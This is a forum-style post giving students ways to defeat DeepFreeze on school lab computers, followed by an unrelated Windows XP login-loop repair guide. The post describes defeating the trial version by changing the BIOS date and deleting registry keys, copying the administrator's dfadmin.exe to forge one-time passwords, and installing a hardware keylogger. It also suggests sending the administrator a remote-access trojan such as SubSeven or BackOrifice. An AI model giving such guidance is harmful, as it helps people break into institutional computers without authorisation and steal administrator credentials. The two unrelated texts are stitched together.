#1 IF your school/lab is using the trial version of DeepFreeze (and this is more common than you think: schools are really hurting for money nowadays!!), and IF you can access BIOS setup, you can forward the date and DeepFreeze will no longer work (you'll see the blinking red X flashing on the DeepFreeze system-tray icon.) Then simply uninstall DeepFreeze. By the way, there are two keys in the registry under

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion

which must be deleted in order to be able to re-install a fresh trial version of DeepFreeze. One starts with Rebar, and i'll let you figure out the other one. It may be only the Rebar that is necessary to delete.

#2 Find out which computer your computer lab administrator has the DeepFreeze Administrator program installed on. At his desk? In his office? Most of the time now, administrators are taking advantage of DeepFreeze's OTP (One-Time Password) feature. In order to thawDeepFreeze, they go to the computer which needs to be "thawed" andshift+double-click on the DeepFreeze icon in the system tray, whichbrings up the password dialog box (frzstate.exe). They then jot downthe token which appears in the window's title bar. They then go backto THEIR computer which has the DeepFreeze Administrator program, open up DFAdmin, and input the token in order to generate a one-time password. This OTP will then work, one time only, to restart the computer in thawed mode. After restarting a second time, the computer is frozen once again, automatically. Now, IF you can get your hands ona DeepFreeze Administrator program, maybe by purchasing it from HyperTechnologies... then, all you need to do is copy one file from your administrator's DFAdmin program, take it home, place it in yourDFAdmin program, and you can generate OTP's for your school's computers.

JUST ONE FILE:

dfadmin.exe is necessary to copy and replace, and it is small enough to save to a floppy or e-mail to yourself. You see, when DeepFreeze Administrator is first set up, the administrator chooses a phrase or master password which is used to make the encryption unique for his/her network. And this encryption is contained totally in dfadmin.exe You might want to think of a way toget your administrator to thaw the computer, and then watch which computer he goes to to obtain the OTP. Are you with me?

#3 IF your administrator is naive enough to be using permanent passwords for DeepFreeze, then you can use something called KeyKatch. Go to http://www.keykatch.com This puppy works great. Just be sure to install it in the keyboard port, NOT the mouse port -- an easy mistake. Regular software-based keyloggers, etc., won't work because they will not be there when the computer is restarted.

Think about it:
the administrator is never going to enter the password and then NOT restart the computer! And when he/she restarts the computer, of course, the keylogger would be gone. UNLESS your school's computers have two drives, and one is not frozen, and you can configure your keylogger to save the log file to the unfrozen drive. Of course, you'll have to re-install the keylogger program to read your log file. As you can see, except for #1 above, there is no EASY way to hack
DeepFreeze. Cuz whatever you do, you're not really doing, it all goes away when you restart the computer. I hope this little post helps you to understand more about how it might be done though, IF a person is DETERMINED to beat it. Of course, being THAT determined might get you in serious trouble at your school, too. So, remember that, first and foremost. Of course, you might approach your computer science teacher/network administrator and tell him or her that you know how to hack DeepFreeze and you would like his/her permission to hack it (he'll KNOW youcan't). Then, once permission is secured, get access somehow to thecomputer with DFAdministrator on it and copy dfadmin.exe If you have permission to hack DeepFreeze, you might even be able to get help from a janitor or the assistant principle or something in order to getphysical access to the computer. You'll have to have your own copy of DFAdmin first, and then you'll have to be able to log on to the computer with DFAdmin on it. If winlogon greets you and you can't logon, you'll need NTFSDOSPRO to copy dfadmin.exe using a boot disk. The only other possibility would be to somehow e-mail the administrator a trojan which would allow you to access his computer remotely and copy dfadmin.exe. (SubSeven, BackOrifice, etc.) I think that's how the FBI would do it! he-he...

Cannot log in to Windows - The solutions

When you log in to Windows, the computer immediately saves your settings, logs off and returns to the login screen again.This is the result of a corrupt or invalid registry entry, which may have been changed by a virus or spyware. Therefore you are strongly advised to scan your computer for viruses and spyware as soon as possible.

Solution

Method 1

Try this method if you can start Windows in safe mode:

  • Boot into safe mode.
  • Click Start, Run and enter regedit
  • Expand HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \Windows NT\CurrentVersion\Winlogon
  • Select the Winlogon folder.
  • If the right-hand pane contains an entry named OldUserinit:
    - delete the entry named Userinit
    - rename OldUserinit to Userinit.
  • Check that the value of Userinit is "C:\WINDOWS\system32\userinit.exe," (the comma at the end of the string is important.) Note: if your Windows folder is not C:\Windows, modify the path accordingly.
Method 2

If you have a Microsoft Windows installation CD:

Method 3

Try taking the hard drive and attaching it to another Windows XP computer as a slave, or by using a USB-to-IDE adapter. Alternatively you can try making a BartPE recovery CD and booting the computer from that. Any method can be used that gives you read/write access to the hard drive.

Often, the registry entry referred to above has been changed from userinit.exe to wsaupdater.exe. Therefore you have a good chance of success if you just copy Windows\System32\userinit.exe to Windows\System32\wsaupdater.exe

Method 4

Gain read/write access to your hard drive from another computer running the same version of Windows.

  • Log in as administrator.
  • Ensure that Windows Explorer folder options have enabled Show hidden files and folders.
  • Click Start, Run and enter regedit
  • Select HKEY_LOCAL_MACHINE
  • Click File, Load Hive, then navigate to Windows\System32\Config on your hard drive (not the host system!)
  • Select system and click Open.
  • For Enter a Key name type anything.
  • Expand HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \Windows NT\CurrentVersion\Winlogon
  • Select the Winlogon folder.
  • If the right-hand pane contains an entry named OldUserinit:
    - delete the entry named Userinit
    - rename OldUserinit to Userinit.
  • Check that the value of Userinit is "C:\WINDOWS\system32\userinit.exe," (the comma at the end of the string is important.) Note: if your Windows folder is not C:\Windows, modify the path accordingly. This is the Windows path when the drive is in use in your computer, not the drive letter it has currently.
  • When you have made the changes click File, Unload Hive.
Applies to
  • Microsoft Windows 2000
  • Microsoft Windows XP
